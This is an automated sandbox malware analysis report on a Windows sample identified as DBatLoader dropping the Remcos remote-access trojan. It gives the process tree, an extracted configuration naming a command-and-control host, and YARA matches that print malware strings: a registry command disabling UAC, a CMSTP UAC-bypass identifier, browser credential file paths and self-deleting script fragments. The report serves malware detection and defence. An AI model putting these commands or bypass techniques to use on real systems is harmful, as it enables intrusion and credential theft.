Edit tour

Windows Analysis Report
udVh4Ist4Z.exe

Overview

General Information

Sample name:	udVh4Ist4Z.exe renamed because original name is a hash value
Original sample name:	2cc30d206669699e58870623365fef82.exe
Analysis ID:	1430910
MD5:	2cc30d206669699e58870623365fef82
SHA1:	de5e70f094d0b72660aa57b87667edd9d52971fc
SHA256:	42ac8e7e9df9877af1382f5626fd74e63210d307f6d577cd5b387ffd0c9520bd
Tags:	32exetrojan
Infos:

Detection

Remcos, DBatLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Contains functionality to bypass UAC (CMSTPLUA)

Detected Remcos RAT

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected DBatLoader

Yara detected Remcos RAT

Yara detected UAC Bypass using CMSTP

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to register a low level keyboard hook

Contains functionality to steal Chrome passwords or cookies

Contains functionality to steal Firefox passwords or cookies

Contains functionalty to change the wallpaper

Creates autostart registry keys with suspicious names

Creates multiple autostart registry keys

Delayed program exit found

Drops PE files with a suspicious file extension

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Sample uses process hollowing technique

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Program Location with Network Connections

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to download and launch executables

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to enumerate running services

Contains functionality to launch a control a shell (cmd.exe)

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

udVh4Ist4Z.exe (PID: 2056 cmdline: "C:\Users\user\Desktop\udVh4Ist4Z.exe" MD5: 2CC30D206669699E58870623365FEF82)

cmd.exe (PID: 4972 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\XjfxsfmnO.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

extrac32.exe (PID: 3516 cmdline: C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\udVh4Ist4Z.exe C:\\Users\\Public\\Libraries\\Xjfxsfmn.PIF MD5: 9472AAB6390E4F1431BAA912FCFF9707)

nmfsxfjX.pif (PID: 5000 cmdline: C:\Users\Public\Libraries\nmfsxfjX.pif MD5: C116D3604CEAFE7057D77FF27552C215)

remcos.exe (PID: 3492 cmdline: "C:\ProgramData\Remcos\remcos.exe" MD5: C116D3604CEAFE7057D77FF27552C215)

Xjfxsfmn.PIF (PID: 4040 cmdline: "C:\Users\Public\Libraries\Xjfxsfmn.PIF" MD5: 2CC30D206669699E58870623365FEF82)

nmfsxfjX.pif (PID: 6400 cmdline: C:\Users\Public\Libraries\nmfsxfjX.pif MD5: C116D3604CEAFE7057D77FF27552C215)

remcos.exe (PID: 2616 cmdline: "C:\Users\user\AppData\Roaming\Remcos\remcos.exe" MD5: C116D3604CEAFE7057D77FF27552C215)

remcos.exe (PID: 7008 cmdline: "C:\ProgramData\Remcos\remcos.exe" MD5: C116D3604CEAFE7057D77FF27552C215)

remcos.exe (PID: 3380 cmdline: "C:\ProgramData\Remcos\remcos.exe" MD5: C116D3604CEAFE7057D77FF27552C215)

Xjfxsfmn.PIF (PID: 3708 cmdline: "C:\Users\Public\Libraries\Xjfxsfmn.PIF" MD5: 2CC30D206669699E58870623365FEF82)

nmfsxfjX.pif (PID: 2420 cmdline: C:\Users\Public\Libraries\nmfsxfjX.pif MD5: C116D3604CEAFE7057D77FF27552C215)

remcos.exe (PID: 5068 cmdline: "C:\Users\user\AppData\Roaming\Remcos\remcos.exe" MD5: C116D3604CEAFE7057D77FF27552C215)

remcos.exe (PID: 5756 cmdline: "C:\Users\user\AppData\Roaming\Remcos\remcos.exe" MD5: C116D3604CEAFE7057D77FF27552C215)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/ https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: Remcos

{"Version": "4.9.4 Pro", "Host:Port:Password": "kenoss.duckdns.org:1166:0", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Enable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-L24XL1", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\Public\Libraries\XjfxsfmnO.bat	MALWARE_BAT_KoadicBAT	Koadic post-exploitation framework BAT payload	ditekSHen	0x2:$s1: &@cls&@set 0x5b:$s2: :~41,1%% 0x67:$s2: :~47,1%% 0x73:$s2: :~6,1%% 0x7e:$s2: :~53,1%% 0x8a:$s2: :~1,1% 0x9b:$s2: :~10,1%% 0xa7:$s2: :~39,1%% 0xb3:$s2: :~16,1%% 0xbf:$s2: :~13,1%% 0xcb:$s2: :~25,1%% 0xd7:$s2: :~53,1%% 0xe3:$s2: :~42,1%% 0xef:$s2: :~22,1%% 0xfb:$s2: :~18,1%% 0x107:$s2: :~48,1%% 0x113:$s2: :~51,1%% 0x11f:$s2: :~2,1%% 0x12a:$s2: :~61,1%% 0x136:$s2: :~9,1%% 0x141:$s2: :~19,1%%

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.2561591986.0000000002E21000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4b8:$a1: Remcos restarted by watchdog! 0x6ca30:$a3: %02i:%02i:%02i:%03i
00000008.00000002.2296612772.0000000002D91000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000002.2148072025.0000000002C60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aab0:$a1: Remcos restarted by watchdog! 0x6b028:$a3: %02i:%02i:%02i:%03i
00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aac0:$a1: Remcos restarted by watchdog! 0x6b038:$a3: %02i:%02i:%02i:%03i
0000000A.00000001.2293209618.0000000000490000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000A.00000001.2293209618.0000000000490000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000A.00000001.2293209618.0000000000490000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aab0:$a1: Remcos restarted by watchdog! 0x6b028:$a3: %02i:%02i:%02i:%03i
00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aab0:$a1: Remcos restarted by watchdog! 0x6b028:$a3: %02i:%02i:%02i:%03i
00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aab0:$a1: Remcos restarted by watchdog! 0x6b028:$a3: %02i:%02i:%02i:%03i
00000010.00000001.2559054856.0000000000490000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000010.00000001.2559054856.0000000000490000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000010.00000001.2559054856.0000000000490000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aab0:$a1: Remcos restarted by watchdog! 0x6b028:$a3: %02i:%02i:%02i:%03i
Process Memory Space: udVh4Ist4Z.exe PID: 2056	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: udVh4Ist4Z.exe PID: 2056	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: udVh4Ist4Z.exe PID: 2056	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: udVh4Ist4Z.exe PID: 2056	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x86bf:$a1: Remcos restarted by watchdog! 0x3582e8:$a1: Remcos restarted by watchdog! 0x8c19:$a3: %02i:%02i:%02i:%03i 0x9048:$a3: %02i:%02i:%02i:%03i 0x358842:$a3: %02i:%02i:%02i:%03i 0x358c71:$a3: %02i:%02i:%02i:%03i
Process Memory Space: nmfsxfjX.pif PID: 5000	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: nmfsxfjX.pif PID: 5000	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: nmfsxfjX.pif PID: 5000	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x1df12:$a1: Remcos restarted by watchdog! 0x37137:$a1: Remcos restarted by watchdog! 0x1e46c:$a3: %02i:%02i:%02i:%03i 0x1e89b:$a3: %02i:%02i:%02i:%03i 0x37691:$a3: %02i:%02i:%02i:%03i 0x37ac0:$a3: %02i:%02i:%02i:%03i
Process Memory Space: nmfsxfjX.pif PID: 6400	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: nmfsxfjX.pif PID: 6400	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: nmfsxfjX.pif PID: 6400	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: nmfsxfjX.pif PID: 6400	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x27d41:$a1: Remcos restarted by watchdog! 0x59387:$a1: Remcos restarted by watchdog! 0x2829b:$a3: %02i:%02i:%02i:%03i 0x286ca:$a3: %02i:%02i:%02i:%03i 0x598e1:$a3: %02i:%02i:%02i:%03i 0x59d10:$a3: %02i:%02i:%02i:%03i
Process Memory Space: nmfsxfjX.pif PID: 2420	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: nmfsxfjX.pif PID: 2420	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: nmfsxfjX.pif PID: 2420	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: nmfsxfjX.pif PID: 2420	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6dc57:$a1: Remcos restarted by watchdog! 0x7993f:$a1: Remcos restarted by watchdog! 0x6e1b1:$a3: %02i:%02i:%02i:%03i 0x6e5e0:$a3: %02i:%02i:%02i:%03i 0x79e99:$a3: %02i:%02i:%02i:%03i 0x7a2c8:$a3: %02i:%02i:%02i:%03i
Click to see the 50 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.1.nmfsxfjX.pif.400000.3.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
10.1.nmfsxfjX.pif.400000.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.1.nmfsxfjX.pif.400000.3.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
10.1.nmfsxfjX.pif.400000.3.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
10.1.nmfsxfjX.pif.400000.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
16.1.nmfsxfjX.pif.400000.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
16.1.nmfsxfjX.pif.400000.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
16.1.nmfsxfjX.pif.400000.1.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i
16.1.nmfsxfjX.pif.400000.1.unpack	REMCOS_RAT_variants	unknown	unknown	0x64afc:$str_a1: C:\Windows\System32\cmd.exe 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x64b6c:$str_b2: Executing file: 0x65bec:$str_b3: GetDirectListeningPort 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x65718:$str_b7: \update.vbs 0x64b94:$str_b9: Downloaded file: 0x64b80:$str_b10: Downloading file: 0x64c24:$str_b12: Failed to upload file: 0x65bb4:$str_b13: StartForward 0x65bd4:$str_b14: StopForward 0x65670:$str_b15: fso.DeleteFile " 0x65604:$str_b16: On Error Resume Next 0x656a0:$str_b17: fso.DeleteFolder " 0x64c14:$str_b18: Uploaded file: 0x64bd4:$str_b19: Unable to delete: 0x65638:$str_b20: while fso.FileExists(" 0x650b1:$str_c0: [Firefox StoredLogins not found]
16.1.nmfsxfjX.pif.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new:
0.2.udVh4Ist4Z.exe.2cbe308.1.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
6.1.nmfsxfjX.pif.400000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
6.1.nmfsxfjX.pif.400000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
6.1.nmfsxfjX.pif.400000.0.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
